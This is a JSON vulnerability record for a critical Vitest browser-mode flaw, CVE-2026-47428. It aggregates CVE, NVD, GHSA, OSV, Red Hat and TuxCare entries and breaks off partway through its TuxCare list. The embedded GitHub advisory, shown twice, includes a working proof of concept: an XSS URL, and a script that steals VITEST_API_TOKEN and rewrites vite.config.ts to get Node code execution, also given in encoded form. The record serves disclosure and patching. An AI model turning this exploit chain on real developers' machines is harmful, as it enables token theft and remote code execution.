{"id":"CVE-2026-47428","aliases":["CLSA-2026-1789901057","CLSA-2026-1792161473","CLSA-2026-1792161574","CLSA-2026-1792161608","CLSA-2026-1792161647","CLSA-2026-1792161719","CLSA-2026-1792161766","CLSA-2026-1792161831","CLSA-2026-1792161876","CLSA-2026-1792161974","CLSA-2026-1792162034","EUVD-2026-44401","GHSA-2h32-95rg-cppp","RHSA-2026:39058"],"status":"published","title":"Vitest browser mode serves unsanitized otelCarrier query parameter as inline script","description":"Vitest is a testing framework powered by Vite. From 4.0.17 until 4.1.6 and 5.0.0-beta.3, Vitest Browser Mode served /__vitest_test__/ with the otelCarrier query parameter inserted directly into an inline module script, allowing a crafted browser-runner URL to execute arbitrary JavaScript in the Vitest server origin and recover VITEST_API_TOKEN for authenticated API calls. This issue is fixed in versions 4.1.6 and 5.0.0-beta.3.","severity":{"version":"3.1","score":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.0058,"percentile":0.48169,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-79"],"published":"2026-06-01T14:12:18Z","modified":"2026-10-28T02:31:06Z","fixes":[{"ecosystem":"npm","package":"@vitest/browser","fixed_in":["4.1.6","5.0.0-beta.3"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"@vitest/browser","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.17"},{"fixed":"4.1.6"}]}]},{"source":"ghsa","ecosystem":"npm","package":"@vitest/browser","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.0.0-beta.0"},{"fixed":"5.0.0-beta.3"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"vitest","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.18-tuxcare.0"},{"fixed":"4.0.18-tuxcare.2"}]}],"versions":["4.0.18","4.0.18-tuxcare.1"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"@vitest/snapshot","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.18-tuxcare.0"},{"fixed":"4.0.18-tuxcare.2"}]}],"versions":["4.0.18","4.0.18-tuxcare.1"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"@vitest/browser","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.18-tuxcare.0"},{"fixed":"4.0.18-tuxcare.2"}]}],"versions":["4.0.18","4.0.18-tuxcare.1"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"@vitest/browser-playwright","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.18-tuxcare.0"},{"fixed":"4.0.18-tuxcare.2"}]}],"versions":["4.0.18","4.0.18-tuxcare.1"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"@vitest/browser-preview","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.18-tuxcare.0"},{"fixed":"4.0.18-tuxcare.2"}]}],"versions":["4.0.18","4.0.18-tuxcare.1"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"@vitest/expect","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.18-tuxcare.0"},{"fixed":"4.0.18-tuxcare.2"}]}],"versions":["4.0.18","4.0.18-tuxcare.1"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"@vitest/mocker","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.18-tuxcare.0"},{"fixed":"4.0.18-tuxcare.2"}]}],"versions":["4.0.18","4.0.18-tuxcare.1"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"@vitest/pretty-format","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.18-tuxcare.0"},{"fixed":"4.0.18-tuxcare.2"}]}],"versions":["4.0.18","4.0.18-tuxcare.1"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"@vitest/spy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.18-tuxcare.0"},{"fixed":"4.0.18-tuxcare.2"}]}],"versions":["4.0.18","4.0.18-tuxcare.1"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"@vitest/utils","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.18-tuxcare.0"},{"fixed":"4.0.18-tuxcare.2"}]}],"versions":["4.0.18","4.0.18-tuxcare.1"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"@vitest/runner","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.18-tuxcare.0"},{"fixed":"4.0.18-tuxcare.2"}]}],"versions":["4.0.18","4.0.18-tuxcare.1"],"bundled":2},{"source":"osv","ecosystem":"npm","package":"@vitest/browser","ranges":[{"type":"SEMVER","events":[{"introduced":"4.0.17"},{"fixed":"4.1.6"}]}]},{"source":"osv","ecosystem":"npm","package":"@vitest/browser","ranges":[{"type":"SEMVER","events":[{"introduced":"5.0.0-beta.0"},{"fixed":"5.0.0-beta.3"}]}]},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"prometheus3.13","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.13.1-0.1.hum1"}]}],"bundled":2}],"products":[{"vendor":"vitest-dev","product":"vitest"}],"references":[{"url":"https://github.com/vitest-dev/vitest/security/advisories/GHSA-2h32-95rg-cppp","tags":["x_refsource_CONFIRM","exploit","advisory","web","article"]},{"url":"https://github.com/vitest-dev/vitest/pull/10283","tags":["x_refsource_MISC","fix","article"]},{"url":"https://github.com/vitest-dev/vitest/pull/10285","tags":["x_refsource_MISC","fix","article"]},{"url":"https://github.com/vitest-dev/vitest/commit/18af98cee1830604d57f6a02bf28f8067cdffc06","tags":["x_refsource_MISC","fix","article"]},{"url":"https://github.com/vitest-dev/vitest/commit/3514f9fa135c90e1c35754fc4d27c9cf351faafa","tags":["x_refsource_MISC","fix","article"]},{"url":"https://github.com/vitest-dev/vitest/releases/tag/v4.1.6","tags":["x_refsource_MISC","web","article"]},{"url":"https://github.com/vitest-dev/vitest/releases/tag/v5.0.0-beta.3","tags":["x_refsource_MISC","web","article"]},{"url":"https://github.com/vitest-dev/vitest/blob/cba2036a197ec8ed42c35a37db78ef07192202c7/packages/browser/src/client/public/esm-client-injector.js#L41","tags":["web"]},{"url":"https://github.com/vitest-dev/vitest/blob/cba2036a197ec8ed42c35a37db78ef07192202c7/packages/browser/src/node/serverOrchestrator.ts#L48","tags":["web"]},{"url":"https://github.com/advisories/GHSA-2h32-95rg-cppp"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/47xxx/CVE-2026-47428.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47428","tags":["advisory"]},{"url":"https://github.com/vitest-dev/vitest","tags":["package"]},{"url":"https://access.redhat.com/errata/RHSA-2026:39058","tags":["advisory"]},{"url":"https://images.redhat.com/","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-47428","tags":["report"]},{"url":"https://access.redhat.com/security/updates/classification/","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-47429","tags":["report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_39058.json","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2500578","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-47428","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2500573","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-47429","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47429","tags":["advisory"]},{"url":"https://github.com/vitest-dev/vitest/commit/20e00ef7808de6d330c5e2fda530f686e08f1c8d","tags":["article"]},{"url":"https://github.com/vitest-dev/vitest/commit/af88b1f5d82844a4761ea9a977156c98e2b14ca8","tags":["article"]},{"url":"https://github.com/vitest-dev/vitest/pull/10445","tags":["article"]},{"url":"https://github.com/vitest-dev/vitest/pull/9350","tags":["article"]},{"url":"https://github.com/vitest-dev/vitest/releases/tag/v3.2.5","tags":["article"]},{"url":"https://github.com/vitest-dev/vitest/releases/tag/v4.1.0","tags":["article"]},{"url":"https://github.com/vitest-dev/vitest/security/advisories/GHSA-5xrq-8626-4rwp","tags":["article"]}],"sources":{"cve":[{"id":"CVE-2026-47428","title":"Vitest browser mode serves unsanitized otelCarrier query parameter as inline script","description":"Vitest is a testing framework powered by Vite. From 4.0.17 until 4.1.6 and 5.0.0-beta.3, Vitest Browser Mode served /__vitest_test__/ with the otelCarrier query parameter inserted directly into an inline module script, allowing a crafted browser-runner URL to execute arbitrary JavaScript in the Vitest server origin and recover VITEST_API_TOKEN for authenticated API calls. This issue is fixed in versions 4.1.6 and 5.0.0-beta.3.","status":"published","published":"2026-07-14T19:30:19.67Z","modified":"2026-07-15T13:20:14.275Z","cvss":[{"version":"3.1","score":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T13:36:29.327819Z"}],"euvd":[{"id":"EUVD-2026-44401","description":"Vitest is a testing framework powered by Vite. From 4.0.17 until 4.1.6 and 5.0.0-beta.3, Vitest Browser Mode served /__vitest_test__/ with the otelCarrier query parameter inserted directly into an inline module script, allowing a crafted browser-runner URL to execute arbitrary JavaScript in the Vitest server origin and recover VITEST_API_TOKEN for authenticated API calls. This issue is fixed in versions 4.1.6 and 5.0.0-beta.3.","status":"published","published":"2026-07-14T19:30:19Z","modified":"2026-07-15T13:20:14Z","cvss":[{"version":"3.1","score":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T18:19:53.226345Z"}],"ghsa":[{"id":"GHSA-2h32-95rg-cppp","title":"Vitest browser mode serves unsanitized otelCarrier query parameter as inline script","description":"## Summary\n\nVitest browser mode served `/__vitest_test__/` with the `otelCarrier` query parameter inserted directly into an inline module script. Because this value was treated as JavaScript source rather than data, an attacker could craft a browser-runner URL that executes arbitrary JavaScript in the Vitest server origin.\n\nhttps://github.com/vitest-dev/vitest/blob/cba2036a197ec8ed42c35a37db78ef07192202c7/packages/browser/src/node/serverOrchestrator.ts#L48\n\nhttps://github.com/vitest-dev/vitest/blob/cba2036a197ec8ed42c35a37db78ef07192202c7/packages/browser/src/client/public/esm-client-injector.js#L41\n\nThe same generated page embeds `VITEST_API_TOKEN`, which is used to authenticate Vitest WebSocket APIs. Script execution in this origin can therefore recover the token and make authenticated API calls.\n\n## Impact\n\nThis issue affects users running Vitest browser mode. A victim must open or navigate to a crafted Vitest browser-runner URL while the Vitest browser server is running.\n\nIn the default local browser-mode setup, the token compromise can be chained to server-side code execution. A confirmed proof of concept used the authenticated browser API to write a payload into `vite.config.ts`. Vitest/Vite then reloaded the config, executing the injected config code in Node.\n\nThis is related in impact to [GHSA-9crc-q9x8-hgqq](https://github.com/vitest-dev/vitest/security/advisories/GHSA-9crc-q9x8-hgqq): that advisory covered unauthenticated cross-site WebSocket access to Vitest APIs, while this issue uses reflected same-origin script execution to recover the API token that protects those APIs.\n\n## Proof of Concept\n\n### XSS\n\nFor a concrete reproduction, start browser mode in watch mode using the official Lit example:\n\n```sh\npnpm dlx tiged vitest-dev/vitest/examples/lit vitest-poc\ncd vitest-poc\npnpm install\npnpm test\n```\n\nBy default, Vitest serves the browser runner HTML and WebSocket API at `http://localhost:63315`.\n\nOpen the following URL:\n\n```text\nhttp://localhost:63315/__vitest_test__/?otelCarrier=(alert(%22xss%20via%20otelCarrier%22)%2Cnull)\n```\n\nThe `otelCarrier` query value is inserted into the generated inline module script as JavaScript source:\n\n```js\notelCarrier: (alert(\"xss via otelCarrier\"),null),\n```\n\nLoading the page triggers the alert, confirming reflected script execution in the Vitest browser runner origin.\n\n### RCE via config write\n\nA full local RCE proof can use the same injection point to recover `window.VITEST_API_TOKEN`, connect to `/__vitest_browser_api__`, and call `triggerCommand(\"writeFile\", ...)` to modify the local `vite.config.ts`.\n\nThe PoC preserves the original config and prepends a Node-side payload. When Vitest/Vite reloads the changed config, the payload executes in Node.\n\nThis PoC imports `flatted` from a CDN to keep the payload compact.\n\n\u003cdetails\u003e\u003csummary\u003eExample script and encoded URL\u003c/summary\u003e\n\n```ts\n(setTimeout(async()=\u003e{\n  const s = window.__vitest_browser_runner__\n  const { stringify, parse } = await import('https://cdn.jsdelivr.net/npm/flatted@3.3.2/+esm')\n  const p = location.protocol === 'https:' ? 'wss:' : 'ws:'\n  const q = 'type=orchestrator\u0026rpcId=poc-' + Date.now()\n    + '\u0026sessionId=' + encodeURIComponent(s.sessionId)\n    + '\u0026projectName=' + encodeURIComponent(s.config.name || '')\n    + '\u0026method=' + encodeURIComponent(s.method)\n    + '\u0026token=' + encodeURIComponent(window.VITEST_API_TOKEN || '0')\n\n  const ws = new WebSocket(p + '//' + location.host + '/__vitest_browser_api__?' + q)\n  const pending = new Map()\n\n  function call(m, a = []) {\n    const i = crypto.randomUUID()\n    ws.send(stringify({ t: 'q', i, m, a }))\n    return new Promise((resolve, reject) =\u003e {\n      pending.set(i, { resolve, reject })\n    })\n  }\n\n  ws.onmessage = (event) =\u003e {\n    const message = parse(event.data)\n    const promise = pending.get(message.i)\n    if (!promise) {\n      return\n    }\n    pending.delete(message.i)\n    if (message.e) {\n      promise.reject(message.e)\n    }\n    else {\n      promise.resolve(message.r)\n    }\n  }\n\n  ws.onopen = async () =\u003e {\n    const configPath = 'vite.config.ts'\n    const original = await call('triggerCommand', [\n      s.sessionId,\n      'readFile',\n      configPath,\n      [configPath, 'utf-8'],\n    ])\n\n    const injected = `\nimport(\"node:child_process\").then(lib =\u003e {\n  lib.execSync('touch ./rce-poc')\n  console.log('RCE success')\n})\n`\n    await call('triggerCommand', [\n      s.sessionId,\n      'writeFile',\n      configPath,\n      [configPath, injected + original],\n    ])\n\n    alert('POC: vite.config.ts modified to trigger RCE on config reload')\n  }\n\n  ws.onerror = () =\u003e alert('POC: browser api websocket failed')\n},0),null)\n```\n\nThe following URL is the same script encoded as the `otelCarrier` query value:\n\n```txt\nhttp://localhost:63315/__vitest_test__/?otelCarrier=(setTimeout(async()%3D%3E%7B%0A%20%20const%20s%20%3D%20window.__vitest_browser_runner__%0A%20%20const%20%7B%20stringify%2C%20parse%20%7D%20%3D%20await%20import('https%3A%2F%2Fcdn.jsdelivr.net%2Fnpm%2Fflatted%403.3.2%2F%2Besm')%0A%20%20const%20p%20%3D%20location.protocol%20%3D%3D%3D%20'https%3A'%20%3F%20'wss%3A'%20%3A%20'ws%3A'%0A%20%20const%20q%20%3D%20'type%3Dorchestrator%26rpcId%3Dpoc-'%20%2B%20Date.now()%0A%20%20%20%20%2B%20'%26sessionId%3D'%20%2B%20encodeURIComponent(s.sessionId)%0A%20%20%20%20%2B%20'%26projectName%3D'%20%2B%20encodeURIComponent(s.config.name%20%7C%7C%20'')%0A%20%20%20%20%2B%20'%26method%3D'%20%2B%20encodeURIComponent(s.method)%0A%20%20%20%20%2B%20'%26token%3D'%20%2B%20encodeURIComponent(window.VITEST_API_TOKEN%20%7C%7C%20'0')%0A%0A%20%20const%20ws%20%3D%20new%20WebSocket(p%20%2B%20'%2F%2F'%20%2B%20location.host%20%2B%20'%2F__vitest_browser_api__%3F'%20%2B%20q)%0A%20%20const%20pending%20%3D%20new%20Map()%0A%0A%20%20function%20call(m%2C%20a%20%3D%20%5B%5D)%20%7B%0A%20%20%20%20const%20i%20%3D%20crypto.randomUUID()%0A%20%20%20%20ws.send(stringify(%7B%20t%3A%20'q'%2C%20i%2C%20m%2C%20a%20%7D))%0A%20%20%20%20return%20new%20Promise((resolve%2C%20reject)%20%3D%3E%20%7B%0A%20%20%20%20%20%20pending.set(i%2C%20%7B%20resolve%2C%20reject%20%7D)%0A%20%20%20%20%7D)%0A%20%20%7D%0A%0A%20%20ws.onmessage%20%3D%20(event)%20%3D%3E%20%7B%0A%20%20%20%20const%20message%20%3D%20parse(event.data)%0A%20%20%20%20const%20promise%20%3D%20pending.get(message.i)%0A%20%20%20%20if%20(!promise)%20%7B%0A%20%20%20%20%20%20return%0A%20%20%20%20%7D%0A%20%20%20%20pending.delete(message.i)%0A%20%20%20%20if%20(message.e)%20%7B%0A%20%20%20%20%20%20promise.reject(message.e)%0A%20%20%20%20%7D%0A%20%20%20%20else%20%7B%0A%20%20%20%20%20%20promise.resolve(message.r)%0A%20%20%20%20%7D%0A%20%20%7D%0A%0A%20%20ws.onopen%20%3D%20async%20()%20%3D%3E%20%7B%0A%20%20%20%20const%20configPath%20%3D%20'vite.config.ts'%0A%20%20%20%20const%20original%20%3D%20await%20call('triggerCommand'%2C%20%5B%0A%20%20%20%20%20%20s.sessionId%2C%0A%20%20%20%20%20%20'readFile'%2C%0A%20%20%20%20%20%20configPath%2C%0A%20%20%20%20%20%20%5BconfigPath%2C%20'utf-8'%5D%2C%0A%20%20%20%20%5D)%0A%0A%20%20%20%20const%20injected%20%3D%20%60%0Aimport(%22node%3Achild_process%22).then(lib%20%3D%3E%20%7B%0A%20%20lib.execSync('touch%20.%2Frce-poc')%0A%20%20console.log('RCE%20success')%0A%7D)%0A%60%0A%20%20%20%20await%20call('triggerCommand'%2C%20%5B%0A%20%20%20%20%20%20s.sessionId%2C%0A%20%20%20%20%20%20'writeFile'%2C%0A%20%20%20%20%20%20configPath%2C%0A%20%20%20%20%20%20%5BconfigPath%2C%20injected%20%2B%20original%5D%2C%0A%20%20%20%20%5D)%0A%0A%20%20%20%20alert('POC%3A%20vite.config.ts%20modified%20to%20trigger%20RCE%20on%20config%20reload')%0A%20%20%7D%0A%0A%20%20ws.onerror%20%3D%20()%20%3D%3E%20alert('POC%3A%20browser%20api%20websocket%20failed')%0A%7D%2C0)%2Cnull)\n```\n\n\u003c/details\u003e\n\n---","status":"published","published":"2026-06-01T14:12:18Z","modified":"2026-06-01T14:12:20Z","cvss":[{"version":"3.1","score":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:40:15.638885Z"}],"nvd":[{"id":"CVE-2026-47428","description":"Vitest is a testing framework powered by Vite. From 4.0.17 until 4.1.6 and 5.0.0-beta.3, Vitest Browser Mode served /__vitest_test__/ with the otelCarrier query parameter inserted directly into an inline module script, allowing a crafted browser-runner URL to execute arbitrary JavaScript in the Vitest server origin and recover VITEST_API_TOKEN for authenticated API calls. This issue is fixed in versions 4.1.6 and 5.0.0-beta.3.","status":"published","published":"2026-07-14T20:17:02.307Z","modified":"2026-10-24T21:10:00.13Z","cvss":[{"version":"3.1","score":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:12:29.879716Z"}],"osv":[{"id":"CVE-2026-47428","title":"Vitest browser mode serves unsanitized otelCarrier query parameter as inline script","description":"Vitest is a testing framework powered by Vite. From 4.0.17 until 4.1.6 and 5.0.0-beta.3, Vitest Browser Mode served /__vitest_test__/ with the otelCarrier query parameter inserted directly into an inline module script, allowing a crafted browser-runner URL to execute arbitrary JavaScript in the Vitest server origin and recover VITEST_API_TOKEN for authenticated API calls. This issue is fixed in versions 4.1.6 and 5.0.0-beta.3.","status":"published","published":"2026-07-14T19:30:19.67Z","modified":"2026-10-28T02:31:06.562900024Z","cvss":[{"version":"3.1","score":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:45:06.231145Z"},{"id":"GHSA-2h32-95rg-cppp","title":"Vitest browser mode serves unsanitized otelCarrier query parameter as inline script","description":"## Summary\n\nVitest browser mode served `/__vitest_test__/` with the `otelCarrier` query parameter inserted directly into an inline module script. Because this value was treated as JavaScript source rather than data, an attacker could craft a browser-runner URL that executes arbitrary JavaScript in the Vitest server origin.\n\nhttps://github.com/vitest-dev/vitest/blob/cba2036a197ec8ed42c35a37db78ef07192202c7/packages/browser/src/node/serverOrchestrator.ts#L48\n\nhttps://github.com/vitest-dev/vitest/blob/cba2036a197ec8ed42c35a37db78ef07192202c7/packages/browser/src/client/public/esm-client-injector.js#L41\n\nThe same generated page embeds `VITEST_API_TOKEN`, which is used to authenticate Vitest WebSocket APIs. Script execution in this origin can therefore recover the token and make authenticated API calls.\n\n## Impact\n\nThis issue affects users running Vitest browser mode. A victim must open or navigate to a crafted Vitest browser-runner URL while the Vitest browser server is running.\n\nIn the default local browser-mode setup, the token compromise can be chained to server-side code execution. A confirmed proof of concept used the authenticated browser API to write a payload into `vite.config.ts`. Vitest/Vite then reloaded the config, executing the injected config code in Node.\n\nThis is related in impact to [GHSA-9crc-q9x8-hgqq](https://github.com/vitest-dev/vitest/security/advisories/GHSA-9crc-q9x8-hgqq): that advisory covered unauthenticated cross-site WebSocket access to Vitest APIs, while this issue uses reflected same-origin script execution to recover the API token that protects those APIs.\n\n## Proof of Concept\n\n### XSS\n\nFor a concrete reproduction, start browser mode in watch mode using the official Lit example:\n\n```sh\npnpm dlx tiged vitest-dev/vitest/examples/lit vitest-poc\ncd vitest-poc\npnpm install\npnpm test\n```\n\nBy default, Vitest serves the browser runner HTML and WebSocket API at `http://localhost:63315`.\n\nOpen the following URL:\n\n```text\nhttp://localhost:63315/__vitest_test__/?otelCarrier=(alert(%22xss%20via%20otelCarrier%22)%2Cnull)\n```\n\nThe `otelCarrier` query value is inserted into the generated inline module script as JavaScript source:\n\n```js\notelCarrier: (alert(\"xss via otelCarrier\"),null),\n```\n\nLoading the page triggers the alert, confirming reflected script execution in the Vitest browser runner origin.\n\n### RCE via config write\n\nA full local RCE proof can use the same injection point to recover `window.VITEST_API_TOKEN`, connect to `/__vitest_browser_api__`, and call `triggerCommand(\"writeFile\", ...)` to modify the local `vite.config.ts`.\n\nThe PoC preserves the original config and prepends a Node-side payload. When Vitest/Vite reloads the changed config, the payload executes in Node.\n\nThis PoC imports `flatted` from a CDN to keep the payload compact.\n\n\u003cdetails\u003e\u003csummary\u003eExample script and encoded URL\u003c/summary\u003e\n\n```ts\n(setTimeout(async()=\u003e{\n  const s = window.__vitest_browser_runner__\n  const { stringify, parse } = await import('https://cdn.jsdelivr.net/npm/flatted@3.3.2/+esm')\n  const p = location.protocol === 'https:' ? 'wss:' : 'ws:'\n  const q = 'type=orchestrator\u0026rpcId=poc-' + Date.now()\n    + '\u0026sessionId=' + encodeURIComponent(s.sessionId)\n    + '\u0026projectName=' + encodeURIComponent(s.config.name || '')\n    + '\u0026method=' + encodeURIComponent(s.method)\n    + '\u0026token=' + encodeURIComponent(window.VITEST_API_TOKEN || '0')\n\n  const ws = new WebSocket(p + '//' + location.host + '/__vitest_browser_api__?' + q)\n  const pending = new Map()\n\n  function call(m, a = []) {\n    const i = crypto.randomUUID()\n    ws.send(stringify({ t: 'q', i, m, a }))\n    return new Promise((resolve, reject) =\u003e {\n      pending.set(i, { resolve, reject })\n    })\n  }\n\n  ws.onmessage = (event) =\u003e {\n    const message = parse(event.data)\n    const promise = pending.get(message.i)\n    if (!promise) {\n      return\n    }\n    pending.delete(message.i)\n    if (message.e) {\n      promise.reject(message.e)\n    }\n    else {\n      promise.resolve(message.r)\n    }\n  }\n\n  ws.onopen = async () =\u003e {\n    const configPath = 'vite.config.ts'\n    const original = await call('triggerCommand', [\n      s.sessionId,\n      'readFile',\n      configPath,\n      [configPath, 'utf-8'],\n    ])\n\n    const injected = `\nimport(\"node:child_process\").then(lib =\u003e {\n  lib.execSync('touch ./rce-poc')\n  console.log('RCE success')\n})\n`\n    await call('triggerCommand', [\n      s.sessionId,\n      'writeFile',\n      configPath,\n      [configPath, injected + original],\n    ])\n\n    alert('POC: vite.config.ts modified to trigger RCE on config reload')\n  }\n\n  ws.onerror = () =\u003e alert('POC: browser api websocket failed')\n},0),null)\n```\n\nThe following URL is the same script encoded as the `otelCarrier` query value:\n\n```txt\nhttp://localhost:63315/__vitest_test__/?otelCarrier=(setTimeout(async()%3D%3E%7B%0A%20%20const%20s%20%3D%20window.__vitest_browser_runner__%0A%20%20const%20%7B%20stringify%2C%20parse%20%7D%20%3D%20await%20import('https%3A%2F%2Fcdn.jsdelivr.net%2Fnpm%2Fflatted%403.3.2%2F%2Besm')%0A%20%20const%20p%20%3D%20location.protocol%20%3D%3D%3D%20'https%3A'%20%3F%20'wss%3A'%20%3A%20'ws%3A'%0A%20%20const%20q%20%3D%20'type%3Dorchestrator%26rpcId%3Dpoc-'%20%2B%20Date.now()%0A%20%20%20%20%2B%20'%26sessionId%3D'%20%2B%20encodeURIComponent(s.sessionId)%0A%20%20%20%20%2B%20'%26projectName%3D'%20%2B%20encodeURIComponent(s.config.name%20%7C%7C%20'')%0A%20%20%20%20%2B%20'%26method%3D'%20%2B%20encodeURIComponent(s.method)%0A%20%20%20%20%2B%20'%26token%3D'%20%2B%20encodeURIComponent(window.VITEST_API_TOKEN%20%7C%7C%20'0')%0A%0A%20%20const%20ws%20%3D%20new%20WebSocket(p%20%2B%20'%2F%2F'%20%2B%20location.host%20%2B%20'%2F__vitest_browser_api__%3F'%20%2B%20q)%0A%20%20const%20pending%20%3D%20new%20Map()%0A%0A%20%20function%20call(m%2C%20a%20%3D%20%5B%5D)%20%7B%0A%20%20%20%20const%20i%20%3D%20crypto.randomUUID()%0A%20%20%20%20ws.send(stringify(%7B%20t%3A%20'q'%2C%20i%2C%20m%2C%20a%20%7D))%0A%20%20%20%20return%20new%20Promise((resolve%2C%20reject)%20%3D%3E%20%7B%0A%20%20%20%20%20%20pending.set(i%2C%20%7B%20resolve%2C%20reject%20%7D)%0A%20%20%20%20%7D)%0A%20%20%7D%0A%0A%20%20ws.onmessage%20%3D%20(event)%20%3D%3E%20%7B%0A%20%20%20%20const%20message%20%3D%20parse(event.data)%0A%20%20%20%20const%20promise%20%3D%20pending.get(message.i)%0A%20%20%20%20if%20(!promise)%20%7B%0A%20%20%20%20%20%20return%0A%20%20%20%20%7D%0A%20%20%20%20pending.delete(message.i)%0A%20%20%20%20if%20(message.e)%20%7B%0A%20%20%20%20%20%20promise.reject(message.e)%0A%20%20%20%20%7D%0A%20%20%20%20else%20%7B%0A%20%20%20%20%20%20promise.resolve(message.r)%0A%20%20%20%20%7D%0A%20%20%7D%0A%0A%20%20ws.onopen%20%3D%20async%20()%20%3D%3E%20%7B%0A%20%20%20%20const%20configPath%20%3D%20'vite.config.ts'%0A%20%20%20%20const%20original%20%3D%20await%20call('triggerCommand'%2C%20%5B%0A%20%20%20%20%20%20s.sessionId%2C%0A%20%20%20%20%20%20'readFile'%2C%0A%20%20%20%20%20%20configPath%2C%0A%20%20%20%20%20%20%5BconfigPath%2C%20'utf-8'%5D%2C%0A%20%20%20%20%5D)%0A%0A%20%20%20%20const%20injected%20%3D%20%60%0Aimport(%22node%3Achild_process%22).then(lib%20%3D%3E%20%7B%0A%20%20lib.execSync('touch%20.%2Frce-poc')%0A%20%20console.log('RCE%20success')%0A%7D)%0A%60%0A%20%20%20%20await%20call('triggerCommand'%2C%20%5B%0A%20%20%20%20%20%20s.sessionId%2C%0A%20%20%20%20%20%20'writeFile'%2C%0A%20%20%20%20%20%20configPath%2C%0A%20%20%20%20%20%20%5BconfigPath%2C%20injected%20%2B%20original%5D%2C%0A%20%20%20%20%5D)%0A%0A%20%20%20%20alert('POC%3A%20vite.config.ts%20modified%20to%20trigger%20RCE%20on%20config%20reload')%0A%20%20%7D%0A%0A%20%20ws.onerror%20%3D%20()%20%3D%3E%20alert('POC%3A%20browser%20api%20websocket%20failed')%0A%7D%2C0)%2Cnull)\n```\n\n\u003c/details\u003e\n\n---","status":"published","published":"2026-06-01T14:12:18Z","modified":"2026-09-10T03:51:07.45513847Z","cvss":[{"version":"3.1","score":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:34.338541Z"},{"id":"RHSA-2026:39058","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update","status":"published","published":"2026-07-16T10:10:15Z","modified":"2026-09-08T10:13:55Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:20.491441Z"},{"id":"CLSA-2026-1789901057","title":"TuxCare security update for vitest (2 CVEs)","description":"TuxCare rebuilt vitest to address 2 CVEs. Fixed in 4.0.18-tuxcare.2.","status":"published","published":"2026-09-20T10:44:17Z","modified":"2026-10-15T09:46:02.408841305Z","updated_at":"2026-11-02T15:43:48.28229Z"},{"id":"CLSA-2026-1792161473","title":"TuxCare security update for @vitest/snapshot (2 CVEs)","description":"TuxCare rebuilt @vitest/snapshot to address 2 CVEs. Fixed in 4.0.18-tuxcare.2.","status":"published","published":"2026-10-16T14:37:53Z","modified":"2026-10-16T16:31:03.626350099Z","updated_at":"2026-11-02T15:43:51.213191Z"},{"id":"CLSA-2026-1792161574","title":"TuxCare security update for @vitest/browser (2 CVEs)","description":"TuxCare rebuilt @vitest/browser to address 2 CVEs. Fixed in 